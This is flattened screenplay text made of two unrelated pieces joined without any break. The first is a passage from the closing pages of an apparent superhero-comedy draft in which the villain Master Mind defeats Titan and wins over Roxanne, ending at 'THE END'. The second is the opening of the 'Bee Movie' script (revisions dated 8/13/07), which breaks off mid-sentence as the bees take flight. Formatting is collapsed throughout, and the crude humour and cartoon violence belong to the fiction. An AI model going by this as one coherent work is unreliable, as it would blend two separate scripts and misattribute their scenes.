he didn't have a chance in hell of winning it. It was your best quality. You need to be that man right now...I... MASTER MIND What? ROXANNE (heart felt) I believe in you. Master Mind is taken aback, in a good way. But he catches himself before the words swell his heart. MASTER MIND Sweet words, but that man is dead. Please, Roxanne, just come with me. ROXANNE No...I guess you are a coward after all. Suddenly, there's a loud crash. 106. Roxanne looks up to see a huge hunk of her ceiling has been completely ripped off. Titan is flying above, holding the debris as casually as if it were a paper plate at a barbecue. He looks down at her and smiles. TITAN Man, have I got a story for you. Master Mind can hears Titan's familiar laugh from his side of the line. MASTER MIND Roxanne? Roxanne? EXT. KINGPIN BOWLING - DAY Titan is standing in front of the bowling alley, trying to decide on an appropriate pose for the occasion. TITAN What pose would be best? The corny folded arms thing? He demonstrates, arching his chin proudly in the air. TITAN Or maybe on the hips, like this. It's the classic Superman pose, only not as masculine. TITAN No, makes me look like a flamer pirate. As Titan starts to fix his hair in the window, Frank pretends to fix the lens on his camera as he speaks to Roxanne. FRANK (whispering) Shouldn't we be making a run for it right about now? ROXANNE (whispering) The guy can outrun bullets. I don't think either one of us is in that kind of shape. TITAN She's right, Frank. 107. Frank looks up, stunned that Titan could have possibly heard him. TITAN Also got super hearing. I promise not to keep the both of you long, but you'll thank me when this is all over. Frank and Roxanne exchange helpless expressions. INT. ABANDONED METRO CITY LIBRARY - DAY Master Mind reverently stares up at the painted portrait of his father. MASTER MIND Dad, it's me... (he looks around to make sure no one can hear) ...Bubsy. I know we haven't talked in a while, and I'm sorry. It's been a little crazy trying to live up to a legacy. The painting's menacing stare seems to reach into his very soul. MASTER MIND Anyway...You raised me to be the worst that I could possibly be. And I've tried to live up to that as best as I could - even dropping out of dentistry school like you wanted me to. But I'm about to do something now that would really piss you off. I'm going to go against everything you ever taught me. I hope...I hope that maybe you'll look down at what I'm about to do as not so much a good deed, but more like the outright defiance of a hateful and ungrateful, son. If you could do that, then maybe - in your own little way - you could - for probably the first time - find a reason to be proud of me. He looks back up at the picture. Is it our imagination, or does the painting's stare suddenly seem even angrier? 108. MASTER MIND Well...either way, you're probably going to see me real soon. (calling over his shoulder) Men? Plato and Da Vinci suddenly stop what they're doing and look up at him. PLATO AND DA VINCI Yes Sir? MASTER MIND Stop packing. Our work is not finished here. PLATO AND DA VINCI YES SIR! TELEVISION A news report shows an aerial shot of Titan setting the giant ball down in the middle of a vacant city street. REPORTER We interrupt your regular afternoon programming to show you live footage of a potential dangerous situation in downtown Metro. The former hero knows as Titan is placing what appears to be a giant ball... INT. ABANDONED METRO CITY LIBRARY - CONTINUOUS Da Vinci stops in front of a television set, seeing the news report in progress. REPORTER Hold on...It appears our own Roxanne Ritchi is somehow at the scene. We now go to her with a live report. DA VINCI Sir, I think you should see this! CUT TO: 109. EXT. CITY STREET - DAY Roxanne is standing in front of a camera with a mike in her hand. ROXANNE I'm here with the cause of the destruction in Metro City. He has kidnapped me and a cameraman to chronicle what he refers to as the creation of a monument to his invincibility and overall "Asskickiness." He will use this giant concrete bowling ball to play the largest game of bowling ever using the buildings of downtown Metro City as his pins. Titan suddenly steps into the shot. TITAN And I'm going for the biggest strike ever. He leans into the camera. TITAN And you, Metro City, have a ringside seat as I cement my name in the anal of history. ROXANNE Annals. TITAN What? ROXANNE Nevermind. EXT. CITY STREET - MOMENTS LATER Titan holds up the massive bowling ball, lining up his shot. TITAN (in quiet professional bowler announcer voice) Like Tiger before him, a young savior has come to raise a sport from the ashes. Rookie Hal Stewart, a young man with a dream, realizing that dream here today, folks. (MORE) 110. TITAN(cont'd) One might click there heels and say "There's no place like home" upon finding themselves in such a fantasy. Well, Hal looks very much at home right were he is - with a ball in hand and glory in his sights. INT. METRO CITY LIBRARY - CONTINUOUS In the bowels of Master Mind's hideout, the HYDROGEN REACTOR glows and HUMS MENACINGLY. BACK TO SCENE Roxanne just stand helpless as Frank films away. ROXANNE Hal, I know everyone treated you like shit, but you don't have to do this. TITAN You're right. I don't HAVE to do anything. Isn't that cool? Titan lines up his shot. TITAN Here's one for the record books! Titan flies a few feet and rolls the ball down the main street. ROXANNE Her face is utter horror as she watches the inevitable destruction of Metro City. As the ball rolls - it demolishes everything in it's wake; cars, street lamps - windows shatter as the giant concrete sphere brushes along side buildings. TITAN He smiles in anticipation and uses "body English" to direct the ball. GIANT BOWLING BALL POV It's nearly halfway to its target. ROXANNE 111. She closes her eyes. Titan's smile fades. He looks around as if he hears something we don't. About two hundred feet in front of the first building a GIANT SPIDER WEB flies across the path of the ball, creating a defensive barrier. An enormous letter "M" is etched in the web's center. TITAN (CONT'D) What the...? The ball breaks through the web, but it's speed is greatly reduced. FRANK Look, what's that flying in the air? We suddenly see MASTER MIND FLYING OVER THE ROLLING BALL IN A JET PACK. He quickly pulls out his goo gun and starts laying down a path of sticky plasm to stop the destructive sphere's path. MASTER MIND C'mon, slow down Master Mind looks down to see the meter of the gun close to empty. MASTER MIND C'mon. The ball slows drastically then starts rolling to the side. It heads off an embankment and rolls harmlessly into a CANAL. MASTER MIND Gutterball! TITAN He's furious to say the least. TITAN YOU! Master Mind gives him a mocking grin. MASTER MIND Bowling? What other trailer park sports can you play? 112. TITAN You are becoming a real pain in my ass. I should have done this a long time ago. Titan lunges at his tormentor. Master Mind hits the BOOSTER on his jet pack and heads back toward the other side of the city with Titan in hot pursuit. MASTER MIND (CONT'D) (into walkie talkie) Plato, Da Vinci. Secure Roxanne, he's falling for it. ELSEWHERE A flustered Titan lands. He begins searching the city streets, but Master Mind is nowhere in sight. He turns upon hearing an EEKING sound to his left. Sitting on the ground is a CHIMPANZEE wearing a strange collar. It smiles at him. TITAN What the hell? From behind, Titan is immediately set upon by five more RADIO CONTROLLED APES. TITAN (CONT'D) GODAMNIT! The critters bite hop and hit Titan. As soon as he throws one off two more jump him. Titan breaks free and with his mighty breath blows them across the street into a fruit stand. With Titan out of their sight they begin to attack the fruit. MASTER MIND He's a block away frantically hitting his remote. MASTER MIND Shit! Stupid monkeys and their fruit. Titan flies away from the mad monkeys and lands to find Master Mind sitting on the ground wrapped in a long cape with only his head sticking out. 113. TITAN (CONT'D) No more games. Titan FIRES HIS LASER VISION AT MASTER MIND's CHEST. Master Mind pulls the cloak away to reveal a FIRE HYDRANT. Titan's EYE LASERS burn through the hydrant releasing a high pressure stream of water. Master Mind uses the last remote which dumps two tons of CEMENT mix into the truck. The crowd, police and news crews move in closer when Titan doesn't emerge. Master Mind drops his last remote and walks toward the truck cautiously. MASTER MIND Could it really be that easy-- - BOOM - The back of the truck explodes, throwing dust and concrete everywhere. When the dust clears we see and enraged Titan. MASTER MIND (CONT'D) Didn't think so. As the villain walks toward him, he pulls back his fist to give Master Mind the killing blow. TITAN If you don't mind, I'm going to punch trough your face now. Preparing himself for the end, Master Mind shuts his eyes as a SUDDEN GUST OF WIND BEGINS TO PICK UP. AS Titan goes to strike, a BLURRY FIGURE RUNS IN AND SNATCHES MASTER MIND OUT OF THE AWAY. Stunned, Master Mind begins to feel around his body as if to make sure everything's still in place. MASTER MIND I'm alive. He turns to see UBERMAN standing next to him. MASTER MIND Uberman? 114. The terrified bystanders start to notice the figure standing next to Master Mind. BYSTANDER 1 It's Uberman! BYSTANDER 2 Uberman's alive! BYSTANDER 3 We're saved! As the CROWD CHEERS, A confused Master Mind turns to Metro City's newly resurrected champion. MASTER MIND I thought. UBERMAN So did I. He puts a hand on Master Mind's shoulder. UBERMAN Thank you, old enemy. MASTER MIND For what? UBERMAN Showing me the error of my ways, Showing me I'm meant to be this city's savior, showing me that, while we can try, there is no running away from our true destiny. With that, UBERMAN IS STRICKEN BY A LASER BLAST, INSTANTLY TURNING HIM INTO A CHARRED HUMAN SKELETON. Master Mind turns to see Titan smiling with his STILL SMOKING EYES. TITAN Oh...Did I interrupt something? Master Mind turns to run, but, suddenly Titan is before him. TITAN Where you going, buddy? Titan grabs Master Mind by the collar and throws him across the street into a parked car. 115. TITAN (CONT'D) Welcome to Paintown. Population: you. Master Mind manages to stand on shaky legs. He seems in a daze, unable to move. Titan flies up in the air. TITAN (CONT'D) Time to finish this. With his fist front and center, Titan speeds toward Master Mind. He's like a human torpedo, coming in for the killing blow. Master Mind comes to his senses and puts up his hands. MASTER MIND WAIT!!! Titan screeches to a halt and stops just in front of him like an old Warner Bros cartoon. TITAN What? MASTER MIND Quick joke - What's the capital of Thailand? TITAN Huh - I don't know. MASTER MIND It's bang cock! In a sudden surge of strength, MASTER MIND PUNCHES TITAN IN THE GROIN. The once mighty man instantly drops to his knees, searching, with tears in his eyes, for the proper word to express the pain suddenly surging through his member. TITAN (CONT'D) Ow. Baffled, he looks up at Master Mind's hand and sees his gauntlet is now made ENTIRELY OUT OF COPPER. MASTER MIND So, I guess pennies are good for something. 116. He punches Titan in the face, knocking him out cold. Master Mind looks down on Titan with more than a little pride. Suddenly he hears something behind him. He spins to see the crowd making a strange noise - APPLAUSE. Roxanne comes up to him. The crowd starts to go wild and cheers for Master Mind. He's not sure what to make of it. ROXANNE Pretty strange, huh? MASTER MIND They're cheering for me. ROXANNE You saved them. You saved everybody. How's it feel? Master Mind looks at the smiles all around him. He begins to well up a little. MASTER MIND It's a...it's nice, you know? I usually don't get a lot of feedback. (whispering) But I also kind of caused all this. What happens when they find that out I was the cause of some of this? Roxanne looks at the cheering crowd, then back at Master Mind. ROXANNE What they don't know won't hurt them. MASTER MIND I guess that is all in the past. ROXANNE You're the hero. MASTER MIND I don't think I'd go that far...I mean I just...er... ROXANNE Master Mind? 117. MASTER MIND Yes? ROXANNE Stop talking. She kisses him. The crowd erupts in a cheer. TELEVISION The channel 7 he channel 7 logo zooms in followed by the title "Eye on Metro City." A picture of Master Mind smiling appears on the screen behind her. SAMANTHA SUMMERS Who's bad? Well, not Master Mind. It seems the former villain has done a career 180 after defeating Tighten and saving Metro City from certain enslavement. And here he is getting a full pardon by Metro City's Mayor, Steve Dent. Cut to ceremony on capital steps. The MAYOR is shaking Master Mind's metal gauntlet when it suddenly STARTS TO CRUSH HIS HAND. MAYOR Ahhh! Secret service men quickly start to draw their weapons and take aim at Master Mind. Realizing what's happening, he quickly lets the mayor's hand go and puts his arms in the air. MASTER MIND Sorry - Metal hand. Force of habit. He elbows the mayor. MASTER MIND (CONT'D) We're okay, right? Wincing, the mayor signals the men to put their guns down. WE CUT to video of Titan behind bars in a regular prison. 118. BRAD HELMS And what about Tighten? Is there a prison in existence that can hold this super powered menace? Well, the answer we found is no. A man in a white lab coat stands in front of Titan's cell just out of reach. PRISON SCIENTIST Of course normally he could break out of there anytime, but as you can see we've taken some special precautions. The news camera pans over see Titan in his cell wearing a copper JOCK STRAP with electrical cables hooked to it. Back to Samantha at the desk. BRAD HELMS What is a Hero? It seems never has that question needed to be asked more than it does tonight. We go to our very own Roxanne Ritchi, making her triumphant return to our news desk for the answer. Brad turns. The camera pans over to Roxanne who we now see has been sitting beside him. ROXANNE What is a hero? Well, there are many different kinds. There are those who hear a call, like the policeman or doctor, then there's the kind the public creates in their search for meaning and hope. Then, there are those who have the courage to change. DARK ALLEY - NIGHT A woman is being chased by two large thugs. They're gaining on her. She comes to a brick wall - a dead end. The thugs laugh. THUG #1 Hey, gimme that purse? 119. MASTER MIND (O.S) I don't think it would go with your outfit. The thugs turn around to see Master Mind, standing with his arms folded across his chest. THUG #2 It's Master Mind! Thug #1 draws a knife. THUG #1 So? It's not like he has any superpowers. Thug #1 puts his fingers to his mouth and whistles. Suddenly two more Thugs appear behind Master Mind. MASTER MIND I'm gonna give you a chance to surrender. THUG #1 Four against one. For a Master Mind, you're really bad at math. Master Mind throws a hand signal up in the air. Suddenly a giant robotic foot crashes down on the two men behind him. Thug #1 and Thug #2 drop their knives and raise their hands in the air. Master Mind looks up and waves. MASTER MIND Way to take out those two goons, guys! We see Da Vinci and Plato at the wheel of a gigantic robot. DA VINCI What two goons? The giant robot lifts its foot to check the bottom of it's sole. It KNOCKS OVER WATER TOWER in the process. The woman looks at Master Mind, horrified. 120. MASTER MIND (apologetically) Sorry, we're new at this. THE END

According to all known laws of aviation, there is no way that a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway. Because bees don’t care what humans think is impossible.” SEQ. 75 - “INTRO TO BARRY” INT. BENSON HOUSE - DAY ANGLE ON: Sneakers on the ground. Camera PANS UP to reveal BARRY BENSON’S BEDROOM ANGLE ON: Barry’s hand flipping through different sweaters in his closet. BARRY Yellow black, yellow black, yellow black, yellow black, yellow black, yellow black...oohh, black and yellow... ANGLE ON: Barry wearing the sweater he picked, looking in the mirror. BARRY (CONT’D) Yeah, let’s shake it up a little. He picks the black and yellow one. He then goes to the sink, takes the top off a CONTAINER OF HONEY, and puts some honey into his hair. He squirts some in his mouth and gargles. Then he takes the lid off the bottle, and rolls some on like deodorant. CUT TO: INT. BENSON HOUSE KITCHEN - CONTINUOUS Barry’s mother, JANET BENSON, yells up at Barry. JANET BENSON Barry, breakfast is ready! CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 1. INT. BARRY’S ROOM - CONTINUOUS BARRY Coming! SFX: Phone RINGING. Barry’s antennae vibrate as they RING like a phone. Barry’s hands are wet. He looks around for a towel. BARRY (CONT’D) Hang on a second! He wipes his hands on his sweater, and pulls his antennae down to his ear and mouth. BARRY (CONT'D) Hello? His best friend, ADAM FLAYMAN, is on the other end. ADAM Barry? BARRY Adam? ADAM Can you believe this is happening? BARRY Can’t believe it. I’ll pick you up. Barry sticks his stinger in a sharpener. SFX: BUZZING AS HIS STINGER IS SHARPENED. He tests the sharpness with his finger. SFX: Bing. BARRY (CONT’D) Looking sharp. ANGLE ON: Barry hovering down the hall, sliding down the staircase bannister. Barry’s mother, JANET BENSON, is in the kitchen. JANET BENSON Barry, why don’t you use the stairs? Your father paid good money for those. "Bee Movie" - JS REVISIONS 8/13/07 2. BARRY Sorry, I’m excited. Barry’s father, MARTIN BENSON, ENTERS. He’s reading a NEWSPAPER with the HEADLINE, “Queen gives birth to thousandtuplets: Resting Comfortably.” MARTIN BENSON Here’s the graduate. We’re very proud of you, Son. And a perfect report card, all B’s. JANET BENSON (mushing Barry’s hair) Very proud. BARRY Ma! I’ve got a thing going here. Barry re-adjusts his hair, starts to leave. JANET BENSON You’ve got some lint on your fuzz. She picks it off. BARRY Ow, that’s me! MARTIN BENSON Wave to us. We’ll be in row 118,000. Barry zips off. BARRY Bye! JANET BENSON Barry, I told you, stop flying in the house! CUT TO: SEQ. 750 - DRIVING TO GRADUATION EXT. BEE SUBURB - MORNING A GARAGE DOOR OPENS. Barry drives out in his CAR. "Bee Movie" - JS REVISIONS 8/13/07 3. ANGLE ON: Barry’s friend, ADAM FLAYMAN, standing by the curb. He’s reading a NEWSPAPER with the HEADLINE: “Frisbee Hits Hive: Internet Down. Bee-stander: “I heard a sound, and next thing I knew...wham-o!.” Barry drives up, stops in front of Adam. Adam jumps in. BARRY Hey, Adam. ADAM Hey, Barry. (pointing at Barry’s hair) Is that fuzz gel? BARRY A little. It’s a special day. Finally graduating. ADAM I never thought I’d make it. BARRY Yeah, three days of grade school, three days of high school. ADAM Those were so awkward. BARRY Three days of college. I’m glad I took off one day in the middle and just hitchhiked around the hive. ADAM You did come back different. They drive by a bee who’s jogging. ARTIE Hi Barry! BARRY (to a bee pedestrian) Hey Artie, growing a mustache? Looks good. Barry and Adam drive from the suburbs into the city. ADAM Hey, did you hear about Frankie? "Bee Movie" - JS REVISIONS 8/13/07 4. BARRY Yeah. ADAM You going to his funeral? BARRY No, I’m not going to his funeral. Everybody knows you sting someone you die, you don’t waste it on a squirrel. He was such a hot head. ADAM Yeah, I guess he could’ve just gotten out of the way. The DRIVE through a loop de loop. BARRY AND ADAM Whoa...Whooo...wheee!! ADAM I love this incorporating the amusement park right into our regular day. BARRY I guess that’s why they say we don’t need vacations. CUT TO: SEQ. 95 - GRADUATION EXT. GRADUATION CEREMONY - CONTINUOUS Barry and Adam come to a stop. They exit the car, and fly over the crowd to their seats. * BARRY * (re: graduation ceremony) * Boy, quite a bit of pomp...under * the circumstances. * They land in their seats. BARRY (CONT’D) Well Adam, today we are men. "Bee Movie" - JS REVISIONS 8/13/07 5. ADAM We are. BARRY Bee-men. ADAM Amen! BARRY Hallelujah. Barry hits Adam’s forehead. Adam goes into the rapture. An announcement comes over the PA. ANNOUNCER (V.O) Students, faculty, distinguished bees...please welcome, Dean Buzzwell. ANGLE ON: DEAN BUZZWELL steps up to the podium. The podium has a sign that reads: “Welcome Graduating Class of:”, with train-station style flipping numbers after it. BUZZWELL Welcome New Hive City graduating class of... The numbers on the podium change to 9:15. BUZZWELL (CONT’D) ...9:15. (he clears his throat) And that concludes our graduation ceremonies. And begins your career at Honex Industries. BARRY Are we going to pick our job today? ADAM I heard it’s just orientation. The rows of chairs change in transformer-like mechanical motion to Universal Studios type tour trams. Buzzwell walks off stage. BARRY (re: trams) Whoa, heads up! Here we go. "Bee Movie" - JS REVISIONS 8/13/07 6. SEQ. 125 - “FACTORY” FEMALE VOICE (V.O) Keep your hands and antennas inside the tram at all times. (in Spanish) Dejen las manos y antennas adentro del tram a todos tiempos. BARRY I wonder what it’s going to be like? ADAM A little scary. Barry shakes Adam. BARRY AND ADAM AAHHHH! The tram passes under SIGNS READING: “Honex: A Division of Honesco: A Part of the Hexagon Group.” TRUDY Welcome to Honex, a division of Honesco, and a part of the Hexagon group. BARRY This is it! The Honex doors OPEN, revealing the factory. BARRY (CONT’D) Wow. TRUDY We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant pollen jocks bring the nectar to the hive where our top secret formula is automatically color-corrected, scent adjusted and bubble contoured into this... Trudy GRABS a TEST TUBE OF HONEY from a technician. "Bee Movie" - JS REVISIONS 8/13/07 7. TRUDY (CONT’D) ...soothing, sweet syrup with its distinctive golden glow, you all know as... EVERYONE ON THE TRAM (in unison) H-o-n-e-y. Trudy flips the flask into the crowd, and laughs as they all scramble for it. ANGLE ON: A GIRL BEE catching the honey. ADAM (sotto) That girl was hot. BARRY (sotto) She’s my cousin. ADAM She is? BARRY Yes, we’re all cousins. ADAM Right. You’re right. TRUDY At Honex, we also constantly strive to improve every aspect of bee existence. These bees are stress testing a new helmet technology. ANGLE ON: A STUNT BEE in a HELMET getting hit with a NEWSPAPER, then a SHOE, then a FLYSWATTER. He gets up, and gives a “thumb’s up”. The graduate bees APPLAUD. ADAM (re: stunt bee) What do you think he makes? BARRY Not enough. TRUDY And here we have our latest advancement, the Krelman. "Bee Movie" - JS REVISIONS 8/13/07 8. BARRY Wow, what does that do? TRUDY Catches that little strand of honey that hangs after you pour it. Saves us millions. ANGLE ON: The Krelman machine. Bees with hand-shaped hats on, rotating around a wheel to catch drips of honey. Adam’s hand shoots up. ADAM Can anyone work on the Krelman? TRUDY Of course. Most bee jobs are small ones. But bees know that every small job, if it’s done well, means a lot. There are over 3000 different bee occupations. But choose carefully, because you’ll stay in the job that you pick for the rest of your life. The bees CHEER. ANGLE ON: Barry’s smile dropping slightly. BARRY The same job for the rest of your life? I didn’t know that. ADAM What’s the difference? TRUDY And you’ll be happy to know that bees as a species haven’t had one day off in 27 million years. BARRY So you’ll just work us to death? TRUDY (laughing) We’ll sure try. Everyone LAUGHS except Barry. "Bee Movie" - JS REVISIONS 8/13/07 9. The tram drops down a log-flume type steep drop. Cameras flash, as all the bees throw up their hands. The frame freezes into a snapshot. Barry looks concerned. The tram continues through 2 doors. FORM DISSOLVE TO: SEQ. 175 - “WALKING THE HIVE” INT. HONEX LOBBY ANGLE ON: The log-flume photo, as Barry looks at it. ADAM Wow. That blew my mind. BARRY (annoyed) “What’s the difference?” Adam, how could you say that? One job forever? That’s an insane choice to have to make. ADAM Well, I’m relieved. Now we only have to make one decision in life. BARRY But Adam, how could they never have told us that? ADAM Barry, why would you question anything? We’re bees. We’re the most perfectly functioning society on Earth. They walk by a newspaper stand with A SANDWICH BOARD READING: “Bee Goes Berserk: Stings Seven Then Self.” ANGLE ON: A BEE filling his car’s gas tank from a honey pump. He fills his car some, then takes a swig for himself. NEWSPAPER BEE (to the bee guzzling gas) Hey! Barry and Adam begin to cross the street. "Bee Movie" - JS REVISIONS 8/13/07 10. BARRY Yeah but Adam, did you ever think that maybe things work a little too well around here? They stop in the middle of the street. The traffic moves perfectly around them. ADAM Like what? Give me one example. BARRY (thinks) ...I don’t know. But you know what I’m talking about. They walk off. SEQ. 400 - “MEET THE JOCKS” SFX: The SOUND of Pollen Jocks. PAN DOWN from the Honex statue. J-GATE ANNOUNCER Please clear the gate. Royal Nectar Force on approach. Royal Nectar Force on approach. BARRY Wait a second. Check it out. Hey, hey, those are Pollen jocks. ADAM Wow. FOUR PATROL BEES FLY in through the hive’s giant Gothic entrance. The Patrol Bees are wearing fighter pilot helmets with black visors. ADAM (CONT’D) I’ve never seen them this close. BARRY They know what it’s like to go outside the hive. ADAM Yeah, but some of them don’t come back. "Bee Movie" - JS REVISIONS 8/13/07 11. The nectar from the pollen jocks is removed from their backpacks, and loaded into trucks on their way to Honex. A SMALL CROWD forms around the Patrol Bees. Each one has a PIT CREW that takes their nectar. Lou Loduca hurries a pit crew along: LOU LODUCA You guys did great! You’re monsters. You’re sky freaks! I love it! I love it! SCHOOL GIRLS are jumping up and down and squealing nearby. BARRY I wonder where those guys have just been? ADAM I don’t know. BARRY Their day’s not planned. Outside the hive, flying who-knows-where, doing who-knows-what. ADAM You can’t just decide one day to be a Pollen Jock. You have to be bred for that. BARRY Right. Pollen Jocks cross in close proximity to Barry and Adam. Some pollen falls off, onto Barry and Adam. BARRY (CONT’D) Look at that. That’s more pollen than you and I will ever see in a lifetime. ADAM (playing with the pollen) It’s just a status symbol. I think bees make too big a deal out of it. BARRY Perhaps, unless you’re wearing it, and the ladies see you wearing it. ANGLE ON: Two girl bees. "Bee Movie" - JS REVISIONS 8/13/07 12. ADAM Those ladies? Aren’t they our cousins too? BARRY Distant, distant. ANGLE ON: TWO POLLEN JOCKS. JACKSON Look at these two. SPLITZ Couple of Hive Harrys. JACKSON Let’s have some fun with them. The pollen jocks approach. Barry and Adam continue to talk to the girls. GIRL 1 It must be so dangerous being a pollen jock. BARRY Oh yeah, one time a bear had me pinned up against a mushroom. He had one paw on my throat, and with the other he was slapping me back and forth across the face. GIRL 1 Oh my. BARRY I never thought I’d knock him out. GIRL 2 (to Adam) And what were you doing during all of this? ADAM Obviously I was trying to alert the authorities. The girl swipes some pollen off of Adam with a finger. BARRY (re: pollen) I can autograph that if you want. "Bee Movie" - JS REVISIONS 8/13/07 13. JACKSON Little gusty out there today, wasn’t it, comrades? BARRY Yeah. Gusty. BUZZ You know, we’re going to hit a sunflower patch about six miles from here tomorrow. BARRY Six miles, huh? ADAM (whispering) Barry. BUZZ It’s a puddle-jump for us. But maybe you’re not up for it. BARRY Maybe I am. ADAM (whispering louder) You are not! BUZZ We’re going, oh-nine hundred at JGate. ADAM (re: j-gate) Whoa. BUZZ (leaning in, on top of Barry) What do you think, Buzzy Boy? Are you bee enough? BARRY I might be. It all depends on what oh-nine hundred means. CUT TO: SEQ. 450 - “THE BALCONY” "Bee Movie" - JS REVISIONS 8/13/07 14. INT. BENSON HOUSE BALCONY - LATER Barry is standing on the balcony alone, looking out over the city. Martin Benson ENTERS, sneaks up behind Barry and gooses him in his ribs. MARTIN BENSON Honex! BARRY Oh, Dad. You surprised me. MARTIN BENSON (laughing) Have you decided what you’re interested in, Son? BARRY Well, there’s a lot of choices. MARTIN BENSON But you only get one. Martin LAUGHS. BARRY Dad, do you ever get bored doing the same job every day? MARTIN BENSON Son, let me tell you something about stirring. (making the stirring motion) You grab that stick and you just move it around, and you stir it around. You get yourself into a rhythm, it’s a beautiful thing. BARRY You know dad, the more I think about it, maybe the honey field just isn’t right for me. MARTIN BENSON And you were thinking of what, making balloon animals? That’s a bad job for a guy with a stinger. "Bee Movie" - JS REVISIONS 8/13/07 15. BARRY Well no... MARTIN BENSON Janet, your son’s not sure he wants to go into honey. JANET BENSON Oh Barry, you are so funny sometimes. BARRY I’m not trying to be funny. MARTIN BENSON You’re not funny, you’re going into honey. Our son, the stirrer. JANET BENSON You’re going to be a stirrer?! BARRY No one’s listening to me. MARTIN BENSON Wait until you see the sticks I have for you. BARRY I can say anything I want right now. I’m going to get an ant tattoo. JANET BENSON Let’s open some fresh honey and celebrate. BARRY Maybe I’ll pierce my thorax! MARTIN BENSON (toasting) To honey! BARRY Shave my antennae! JANET BENSON To honey! "Bee Movie" - JS REVISIONS 8/13/07 16. BARRY Shack up with a grasshopper, get a gold tooth, and start calling everybody “Dawg.” CUT TO: SEQ. 760 - “JOB PLACEMENT” EXT. HONEX LOBBY - CONTINUOUS ANGLE ON: A BEE BUS STOP. One group of bees stands on the pavement, as another group hovers above them. A doubledecker bus pulls up. The hovering bees get on the top level, and the standing bees get on the bottom. Barry and Adam pull up outside of Honex. ADAM I can’t believe we’re starting work today. BARRY Today’s the day. Adam jumps out of the car. ADAM (O.C) Come on. All the good jobs will be gone. BARRY Yeah, right... ANGLE ON: A BOARD READING: “JOB PLACEMENT BOARD”. Buzzwell, the Bee Processor, is at the counter. Another BEE APPLICANT, SANDY SHRIMPKIN is EXITING. SANDY SHRIMPKIN Is it still available? BUZZWELL Hang on. (he looks at changing numbers on the board) Two left. And...one of them’s yours. Congratulations Son, step to the side please. "Bee Movie" - JS REVISIONS 8/13/07 17. SANDY SHRIMPKIN Yeah! ADAM (to Sandy, leaving) What did you get? SANDY SHRIMPKIN Picking the crud out. That is stellar! ADAM Wow. BUZZWELL (to Adam and Barry) Couple of newbies? ADAM Yes Sir. Our first day. We are ready. BUZZWELL Well, step up and make your choice. ANGLE ON: A CHART listing the different sectors of Honex. Heating, Cooling, Viscosity, Krelman, Pollen Counting, Stunt Bee, Pouring, Stirrer, Humming, Regurgitating, Front Desk, Hair Removal, Inspector No. 7, Chef, Lint Coordinator, Stripe Supervisor, Antennae-ball polisher, Mite Wrangler, Swatting Counselor, Wax Monkey, Wing Brusher, Hive Keeper, Restroom Attendant. ADAM (to Barry) You want to go first? BARRY No, you go. ADAM Oh my. What’s available? BUZZWELL Restroom attendant is always open, and not for the reason you think. ADAM Any chance of getting on to the Krelman, Sir? BUZZWELL Sure, you’re on. "Bee Movie" - JS REVISIONS 8/13/07 18. He plops the KRELMAN HAT onto Adam’s head. ANGLE ON: The job board. THE COLUMNS READ: “OCCUPATION” “POSITIONS AVAILABLE”, and “STATUS”. The middle column has numbers, and the right column has job openings flipping between “open”, “pending”, and “closed”. BUZZWELL (CONT’D) Oh, I’m sorry. The Krelman just closed out. ADAM Oh! He takes the hat off Adam. BUZZWELL Wax Monkey’s always open. The Krelman goes from “Closed” to “Open”. BUZZWELL (CONT’D) And the Krelman just opened up again. ADAM What happened? BUZZWELL Well, whenever a bee dies, that’s an opening. (pointing at the board) See that? He’s dead, dead, another dead one, deady, deadified, two more dead. Dead from the neck up, dead from the neck down. But, that’s life. ANGLE ON: Barry’s disturbed expression. ADAM (feeling pressure to decide) Oh, this is so hard. Heating, cooling, stunt bee, pourer, stirrer, humming, inspector no. 7, lint coordinator, stripe supervisor, antenna-ball polisher, mite wrangler-- Barry, Barry, what do you think I should-- Barry? Barry? "Bee Movie" - JS REVISIONS 8/13/07 19. Barry is gone. CUT TO: SEQ. 775 - “LOU LODUCA SPEECH” EXT. J-GATE - SAME TIME Splitz, Jackson, Buzz, Lou and two other BEES are going through final pre-flight checks. Barry ENTERS. LOU LODUCA Alright, we’ve got the sunflower patch in quadrant nine. Geranium window box on Sutton Place... Barry’s antennae rings, like a phone. ADAM (V.O) What happened to you? Where are you? Barry whispers throughout. BARRY I’m going out. ADAM (V.O) Out? Out where? BARRY Out there. ADAM (V.O) (putting it together) Oh no. BARRY I have to, before I go to work for the rest of my life. ADAM (V.O) You’re going to die! You’re crazy! Hello? BARRY Oh, another call coming in. "Bee Movie" - JS REVISIONS 8/13/07 20. ADAM (V.O) You’re cra-- Barry HANGS UP. ANGLE ON: Lou Loduca. LOU LODUCA If anyone’s feeling brave, there’s a Korean Deli on 83rd that gets their roses today. BARRY (timidly) Hey guys. BUZZ Well, look at that. SPLITZ Isn’t that the kid we saw yesterday? LOU LODUCA (to Barry) Hold it son, flight deck’s restricted. JACKSON It’s okay Lou, we’re going to take him up. Splitz and Jackson CHUCKLE. LOU LODUCA Really? Feeling lucky, are ya? A YOUNGER SMALLER BEE THAN BARRY, CHET, runs up with a release waiver for Barry to sign. CHET Sign here. Here. Just initial that. Thank you. LOU LODUCA Okay, you got a rain advisory today and as you all know, bees cannot fly in rain. So be careful. As always, (reading off clipboard) watch your brooms, hockey sticks, dogs, birds, bears, and bats. "Bee Movie" - JS REVISIONS 8/13/07 21. Also, I got a couple reports of root beer being poured on us. Murphy’s in a home because of it, just babbling like a cicada. BARRY That’s awful. LOU LODUCA And a reminder for all you rookies, bee law number one, absolutely no talking to humans. Alright, launch positions! The Jocks get into formation, chanting as they move. LOU LODUCA (CONT’D) Black and Yellow! JOCKS Hello! SPLITZ (to Barry) Are you ready for this, hot shot? BARRY Yeah. Yeah, bring it on. Barry NODS, terrified. BUZZ Wind! - CHECK! JOCK #1 Antennae! - CHECK! JOCK #2 Nectar pack! - CHECK! JACKSON Wings! - CHECK! SPLITZ Stinger! - CHECK! BARRY Scared out of my shorts - CHECK. LOU LODUCA Okay ladies, let’s move it out. Everyone FLIPS their goggles down. Pit crew bees CRANK their wings, and remove the starting blocks. We hear loud HUMMING. "Bee Movie" - JS REVISIONS 8/13/07 22. LOU LODUCA (CONT'D) LOU LODUCA (CONT’D) Pound those petunia's, you striped stem-suckers! All of you, drain those flowers! A FLIGHT DECK GUY in deep crouch hand-signals them out the archway as the backwash from the bee wings FLUTTERS his jump suit. Barry follows everyone. SEQ. 800 - “FLYING WITH THE JOCKS” The bees climb above 